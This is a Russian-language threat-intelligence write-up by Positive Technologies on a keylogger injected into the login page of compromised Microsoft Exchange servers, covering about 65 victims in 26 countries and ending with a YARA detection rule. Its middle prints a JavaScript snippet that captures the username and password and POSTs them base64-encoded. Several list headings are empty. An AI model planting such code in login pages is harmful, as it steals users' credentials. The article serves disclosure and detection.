
Климентий Галкин
Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Максим Суслов
Старший специалист группы анализа уязвимостей экспертного центра безопасности Positive Technologies
Климентий Галкин
Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Максим Суслов
Старший специалист группы анализа уязвимостей экспертного центра безопасности Positive Technologies
В мае 2024 года специалисты команды Incident Response экспертного центра безопасности Positive Technologies (PT Expert Security Center) обнаружили атаку с использованием неизвестного кейлоггера, внедренного в главную страницу зараженного Exchange Server. В текущем году специалисты команды киберразведки при участии команды анализа уязвимостей экспертного центра фиксировали те же атаки без модификации исходного кода кейлоггера. Дальнейшее изучение Javascript-кода главной страницы Outlook Web App и ее сравнение с исходным кодом скомпрометированных страниц позволило выявить ряд аномалий, не свойственных стандартной реализации Exchange Server. Благодаря этому удалось обнаружить другие образцы вредоносного кода. Все полученные кейлоггеры можно разделить на две группы:
Принцип работы:
Как правило, вредоносный код встраивается в легитимную функцию аутентификации clkLgn (рис. 1), однако бывают случаи, когда вредоносный код содержится в отдельной функции, которая вызывает clkLgn после отправки скомпрометированных данных.
Варианты стилеров с локальным логированием могут различаться:
var aes = new Date().toLocaleDateString() + "\t" +
document.getElementById("username").value + "\t" +
document.getElementById("password").value;
fetch('', {
'method': 'POST',
'body': new URLSearchParams({
'Aes': btoa(aes)
})
});
Использование описанного варианта вредоноса позволяет атакующим получить следующие преимущества:
Стилеры этого типа могут различаться следующими параметрами:
Некоторые злоумышленники использовали открытые директории для хранения текстовых файлов, куда отправлялись данные жертв.
В ходе исследования было выявлено около 65 жертв в 26 странах. Больше всего скомпрометированных серверов наблюдается среди государственных организаций (22 сервера), а также среди компаний в сфере ИТ, промышленности и логистики. Более точную статистику по странам можно посмотреть на графике ниже.
Рисунок 13. Количество жертв в разных странах
Ниже приводится список уязвимостей, которым были подвержены многие скомпрометированные серверы.
Рисунок 14. Статистика уязвимостей в продуктах Microsoft на зараженных серверах
Таким образом, эксплуатация этих уязвимостей могла быть одним из векторов атаки. При этом не все скомпрометированные серверы были подвержены каким-либо публично известным уязвимостям, что позволяет предположить, что они могли быть взломаны в результате реализации других векторов атаки.
Большое количество серверов Microsoft Exchange, доступных из интернета, до сих пор подвержены старым уязвимостям. Как показало исследование, одним из результатов эксплуатации этих уязвимостей является внедрение кейлоггеров в страницы аутентификации.
Внедрение вредоносного кода в легитимные страницы аутентификации позволяет злоумышленникам долгое время оставаться незамеченными и получать учетные данные пользователей в открытом виде.
Если вы обнаружили вредоносный код у себя в инфраструктуре или у вас есть подозрения, что ваши системы могли быть скомпрометированы, специалисты PT Expert Security Center могут помочь вам провести расследование и ретроспективный анализ.
Для борьбы с подобными угрозами рекомендуется:
Если у вас есть гипотеза, что ваш MS Exchange Server мог быть скомпрометирован подобным образом с обходом средств защиты и мониторинга событий ИБ, то для обнаружения подобных атак можно принять следующие меры:
А вот YARA-правило, которое позволит обнаружить варианты вредоносных страниц, описанных в статье.
rule PTESC_exploit_win_ZZ_Exchange__Keylogger__Javascript {
strings:
$anomaly_func_1 = "XMLHttpRequest"
$anomaly_func_2 = "eval"
$anomaly_func_3 = "fetch"
$anomaly_func_4 = "fromCharCode"
$anomaly_func_5 = "$.ajax"
$anomaly_func_6 = "atob"
$credential_string_1 = "user"
$credential_string_2 = "pass"
$exclude_strings_1 = "jquery.org/license"
$exclude_strings_2 = "captcha"
$exclude_strings_3 = "newrelic"
condition:
any of ($anomaly_func_*) and all of ($credential_string_*) and not all of ($exclude_strings_*)
}